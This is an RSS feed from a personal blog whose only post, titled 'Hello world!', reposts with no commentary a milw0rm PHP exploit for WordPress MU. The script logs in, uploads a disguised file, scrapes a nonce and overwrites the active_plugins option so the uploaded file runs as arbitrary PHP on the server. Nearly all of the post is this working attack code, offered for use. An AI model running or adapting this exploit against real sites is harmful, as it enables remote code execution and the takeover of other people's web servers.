<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>napster's blog</title>
	<atom:link href="http://napster.baywords.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://napster.baywords.com</link>
	<description>Just another Baywords weblog</description>
	<pubDate>Fri, 18 Apr 2008 11:51:02 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6</generator>
	<language>en</language>
			<item>
		<title>Hello world!</title>
		<link>http://napster.baywords.com/2008/04/16/hello-world/</link>
		<comments>http://napster.baywords.com/2008/04/16/hello-world/#comments</comments>
		<pubDate>Wed, 16 Apr 2008 18:51:53 +0000</pubDate>
		<dc:creator>napster</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Ha, blognotice blog.
&#60;?php
/*
WordPress [MU] blog&#8217;s options overwrite
Credits : Alexander Concha
Website : http://www.buayacorp.com/
Advisory: http://www.buayacorp.com/files/wordpress/wordpress-mu-options-overwrite.html
This exploit uses active_plugins option to execute arbitrary PHP
*/
include_once &#8216;./class-snoopy.php&#8217;;
// Fix Snoopy
class SnoopyExt extends Snoopy {
	function _prepare_post_body($formvars, $formfiles) {
		if ( is_string($formvars) ) {
			return $formvars;
		}
		return parent::_prepare_post_body($formvars, $formfiles);
	}
}
set_time_limit( 0 );
// Any user with &#8216;manage_options&#8217; and &#8216;upload_files&#8217; capabilities
$user = &#8216;user&#8217;;
$pass = &#8216;1234&#8242;;
$blog_url = &#8216;http://localhost.localdomain/mu/&#8217;;
$remote_file = &#8221;; [...]]]></description>
			<content:encoded><![CDATA[<p>Ha, <a href="http://www.blognotice.net">blognotice</a> blog.</p>
<p>&lt;?php<br />
/*<br />
WordPress [MU] blog&#8217;s options overwrite</p>
<p>Credits : Alexander Concha<br />
Website : http://www.buayacorp.com/<br />
Advisory: http://www.buayacorp.com/files/wordpress/wordpress-mu-options-overwrite.html</p>
<p>This exploit uses active_plugins option to execute arbitrary PHP<br />
*/<br />
include_once &#8216;./class-snoopy.php&#8217;;</p>
<p>// Fix Snoopy<br />
class SnoopyExt extends Snoopy {<br />
	function _prepare_post_body($formvars, $formfiles) {<br />
		if ( is_string($formvars) ) {<br />
			return $formvars;<br />
		}<br />
		return parent::_prepare_post_body($formvars, $formfiles);<br />
	}<br />
}</p>
<p>set_time_limit( 0 );</p>
<p>// Any user with &#8216;manage_options&#8217; and &#8216;upload_files&#8217; capabilities<br />
$user = &#8216;user&#8217;;<br />
$pass = &#8216;1234&#8242;;<br />
$blog_url = &#8216;http://localhost.localdomain/mu/&#8217;;<br />
$remote_file = &#8221;; // relative path to wp-content<br />
$local_file = &#8221;; // the contents of this file, if any, will be uploaded</p>
<p>$snoopy = new SnoopyExt();</p>
<p>$snoopy-&gt;maxredirs = 0;<br />
$snoopy-&gt;cookies['wordpress_test_cookie'] = &#8216;WP+Cookie+check&#8217;;<br />
$snoopy-&gt;submit(&#8221;{$blog_url}wp-login.php&#8221;, array(&#8217;log&#8217; =&gt; $user, &#8216;pwd&#8217; =&gt; $pass));</p>
<p>$snoopy-&gt;setcookies(); // Set auth cookies for future requests</p>
<p>if ( empty($remote_file) ) {<br />
	// Upload a new file<br />
	$snoopy-&gt;_submit_type = &#8216;image/gif&#8217;;<br />
	$snoopy-&gt;submit(&#8221;{$blog_url}wp-app.php?action=/attachments&#8221;, get_contents());</p>
<p>	if ( preg_match(&#8217;#([^&lt;]+)#i&#8217;, $snoopy-&gt;results, $match) ) {<br />
		$remote_file = basename($match[1]);<br />
	}<br />
}<br />
if ( empty($remote_file) ) die(&#8217;Exploit failed&#8230;&#8217;);</p>
<p>// Look for real path<br />
$snoopy-&gt;fetch(&#8221;{$blog_url}wp-admin/export.php?download&#8221;);</p>
<p>if ( preg_match(&#8221;#(.*$remote_file)#&#8221;, $snoopy-&gt;results, $match) ) {<br />
	$remote_file = preg_replace(&#8217;#.*?wp-content#&#8217;, &#8221;, $match[1]);<br />
}<br />
if ( empty($remote_file) ) die(&#8217;Exploit failed&#8230;&#8217;);</p>
<p>// It asumes that file uploads are stored within wp-content<br />
$remote_file = &#8216;../&#8217; . ltrim($remote_file, &#8216;/&#8217;);</p>
<p>$snoopy-&gt;fetch(&#8221;{$blog_url}wp-admin/plugins.php&#8221;);</p>
<p>// Recover previous active plugins<br />
$active_plugins = array();<br />
if ( preg_match_all(&#8217;#action=deactivate&amp;([^\']+)#&#8217;, $snoopy-&gt;results, $matches) ) {<br />
	foreach ($matches[0] as $plugin) {<br />
		if ( preg_match(&#8217;#plugin=([^&amp;]+)#&#8217;, $plugin, $match) )<br />
			$active_plugins[] = urldecode($match[1]);<br />
	}<br />
	print_r($active_plugins);<br />
}<br />
$active_plugins[] = $remote_file;</p>
<p>// Fetch a valid nonce<br />
$snoopy-&gt;fetch(&#8221;{$blog_url}wp-admin/options-general.php&#8221;);</p>
<p>if ( preg_match(&#8217;#name=._wpnonce. value=.([a-z\d]{10}).#&#8217;, $snoopy-&gt;results, $match) ) {</p>
<p>	// Finally update active_plugins<br />
	$snoopy-&gt;set_submit_normal();<br />
	$snoopy-&gt;submit(&#8221;{$blog_url}wp-admin/options.php&#8221;,<br />
		array(<br />
			&#8216;active_plugins&#8217; =&gt; $active_plugins,<br />
			&#8216;_wpnonce&#8217; =&gt; $match[1],<br />
			&#8216;action&#8217; =&gt; &#8216;update&#8217;,<br />
			&#8216;page_options&#8217; =&gt; &#8216;active_plugins&#8217;,<br />
		));<br />
}</p>
<p>function get_contents() {<br />
	global $local_file;</p>
<p>	return file_exists($local_file) ? file_get_contents($local_file) : &#8221;;<br />
}<br />
?&gt;</p>
<p># milw0rm.com [2008-02-05]</p>
]]></content:encoded>
			<wfw:commentRss>http://napster.baywords.com/2008/04/16/hello-world/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
